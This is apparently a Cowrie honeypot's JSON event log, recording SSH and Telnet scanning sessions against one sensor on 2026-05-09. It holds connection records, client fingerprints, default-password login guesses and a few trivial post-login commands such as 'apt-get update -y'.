{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:03.284109Z","src_ip":"87.121.69.138","session":"fdefddd2d542","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":7108,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4d01953c83b","protocol":"ssh","message":"New connection: 185.71.233.73:7108 (10.17.0.5:22) [session: a4d01953c83b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:20.244225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:20.249516Z","src_ip":"185.71.233.73","session":"a4d01953c83b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:21.092739Z","src_ip":"185.71.233.73","session":"a4d01953c83b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:21.752751Z","src_ip":"185.71.233.73","session":"a4d01953c83b","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:22.180713Z","src_ip":"185.71.233.73","session":"a4d01953c83b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:22.382050Z","src_ip":"185.71.233.73","session":"a4d01953c83b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"?","message":"CMD: ?","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:23.577487Z","src_ip":"185.71.233.73","session":"a4d01953c83b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"? ","message":"Command not found: ? ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:23.581659Z","src_ip":"185.71.233.73","session":"a4d01953c83b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:23.585446Z","src_ip":"185.71.233.73","session":"a4d01953c83b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:23.589054Z","src_ip":"185.71.233.73","session":"a4d01953c83b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:24.604306Z","src_ip":"185.71.233.73","session":"a4d01953c83b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:40.629632Z","src_ip":"185.71.233.73","session":"a4d01953c83b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:41.641061Z","src_ip":"185.71.233.73","session":"a4d01953c83b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:41.645213Z","src_ip":"185.71.233.73","session":"a4d01953c83b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/2050cc0f18e650f8f04a2d1fcaa079c32d7cfa22eb94fe54b2859caec34c8a7d","size":829,"shasum":"2050cc0f18e650f8f04a2d1fcaa079c32d7cfa22eb94fe54b2859caec34c8a7d","duplicate":false,"duration":"35.3","message":"Closing TTY Log: var/lib/cowrie/tty/2050cc0f18e650f8f04a2d1fcaa079c32d7cfa22eb94fe54b2859caec34c8a7d after 35.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:57.680649Z","src_ip":"185.71.233.73","session":"a4d01953c83b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"37.6","message":"Connection lost after 37.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:15:57.882890Z","src_ip":"185.71.233.73","session":"a4d01953c83b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":50640,"dst_ip":"159.203.135.109","dst_port":23,"session":"664cf29e34bf","protocol":"telnet","message":"New connection: 199.103.57.63:50640 (159.203.135.109:23) [session: 664cf29e34bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:16:11.590821Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60134,"dst_ip":"159.203.135.109","dst_port":22,"session":"1dca9db4409a","protocol":"ssh","message":"New connection: 2.57.122.208:60134 (159.203.135.109:22) [session: 1dca9db4409a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:16:45.734998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:16:45.832562Z","src_ip":"2.57.122.208","session":"1dca9db4409a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:16:45.931650Z","src_ip":"2.57.122.208","session":"1dca9db4409a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:16:46.724416Z","src_ip":"2.57.122.208","session":"1dca9db4409a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:16:48.130348Z","src_ip":"2.57.122.208","session":"1dca9db4409a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.64145278930664,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:16:50.232181Z","src_ip":"199.103.57.63","session":"664cf29e34bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":32059,"dst_ip":"159.203.135.109","dst_port":22,"session":"dab0fb1c223c","protocol":"ssh","message":"New connection: 185.71.233.73:32059 (159.203.135.109:22) [session: dab0fb1c223c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:05.221510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:05.231091Z","src_ip":"185.71.233.73","session":"dab0fb1c223c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:06.021137Z","src_ip":"185.71.233.73","session":"dab0fb1c223c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:07.106576Z","src_ip":"185.71.233.73","session":"dab0fb1c223c","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:08.465492Z","src_ip":"185.71.233.73","session":"dab0fb1c223c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:08.669309Z","src_ip":"185.71.233.73","session":"dab0fb1c223c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"?","message":"CMD: ?","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:09.969028Z","src_ip":"185.71.233.73","session":"dab0fb1c223c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"? ","message":"Command not found: ? ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:09.973176Z","src_ip":"185.71.233.73","session":"dab0fb1c223c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:09.976766Z","src_ip":"185.71.233.73","session":"dab0fb1c223c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:09.979966Z","src_ip":"185.71.233.73","session":"dab0fb1c223c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:10.969196Z","src_ip":"185.71.233.73","session":"dab0fb1c223c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:26.934890Z","src_ip":"185.71.233.73","session":"dab0fb1c223c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:27.941566Z","src_ip":"185.71.233.73","session":"dab0fb1c223c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:27.945701Z","src_ip":"185.71.233.73","session":"dab0fb1c223c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":45351,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea5433997d7e","protocol":"ssh","message":"New connection: 213.209.159.56:45351 (159.203.135.109:22) [session: ea5433997d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:35.217295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:35.222635Z","src_ip":"213.209.159.56","session":"ea5433997d7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:35.305678Z","src_ip":"213.209.159.56","session":"ea5433997d7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sheyla","password":"sheyla","message":"login attempt [sheyla/sheyla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:35.707526Z","src_ip":"213.209.159.56","session":"ea5433997d7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sheyla","password":"sheyla1","message":"login attempt [sheyla/sheyla1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:36.793020Z","src_ip":"213.209.159.56","session":"ea5433997d7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sheyla","password":"sheyla123","message":"login attempt [sheyla/sheyla123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:37.878130Z","src_ip":"213.209.159.56","session":"ea5433997d7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sheyla","password":"sheyla1234","message":"login attempt [sheyla/sheyla1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:38.962258Z","src_ip":"213.209.159.56","session":"ea5433997d7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.149.254","src_port":33100,"dst_ip":"159.203.135.109","dst_port":23,"session":"068bbbaca5b4","protocol":"telnet","message":"New connection: 176.65.149.254:33100 (159.203.135.109:23) [session: 068bbbaca5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:39.167813Z"}
{"eventid":"cowrie.login.failed","username":"sheyla","password":"sheyla12345","message":"login attempt [sheyla/sheyla12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:40.047859Z","src_ip":"213.209.159.56","session":"ea5433997d7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:41.132416Z","src_ip":"213.209.159.56","session":"ea5433997d7e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/2050cc0f18e650f8f04a2d1fcaa079c32d7cfa22eb94fe54b2859caec34c8a7d","size":829,"shasum":"2050cc0f18e650f8f04a2d1fcaa079c32d7cfa22eb94fe54b2859caec34c8a7d","duplicate":true,"duration":"35.3","message":"Closing TTY Log: var/lib/cowrie/tty/2050cc0f18e650f8f04a2d1fcaa079c32d7cfa22eb94fe54b2859caec34c8a7d after 35.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:43.970030Z","src_ip":"185.71.233.73","session":"dab0fb1c223c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"38.9","message":"Connection lost after 38.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:17:44.159856Z","src_ip":"185.71.233.73","session":"dab0fb1c223c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":38108,"dst_ip":"10.17.0.5","dst_port":22,"session":"80e7499b5c9f","protocol":"ssh","message":"New connection: 80.94.92.184:38108 (10.17.0.5:22) [session: 80e7499b5c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:18:08.856059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:18:08.947493Z","src_ip":"80.94.92.184","session":"80e7499b5c9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:18:09.071816Z","src_ip":"80.94.92.184","session":"80e7499b5c9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.69681215286255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:18:09.864515Z","src_ip":"176.65.149.254","session":"068bbbaca5b4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456.cn","message":"login attempt [solv/123456.cn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:18:10.173086Z","src_ip":"80.94.92.184","session":"80e7499b5c9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:18:11.437891Z","src_ip":"80.94.92.184","session":"80e7499b5c9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57568,"dst_ip":"159.203.135.109","dst_port":22,"session":"80f816e9968e","protocol":"ssh","message":"New connection: 89.144.211.139:57568 (159.203.135.109:22) [session: 80f816e9968e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:18:28.550515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:18:28.555106Z","src_ip":"89.144.211.139","session":"80f816e9968e","protocol":"ssh"}
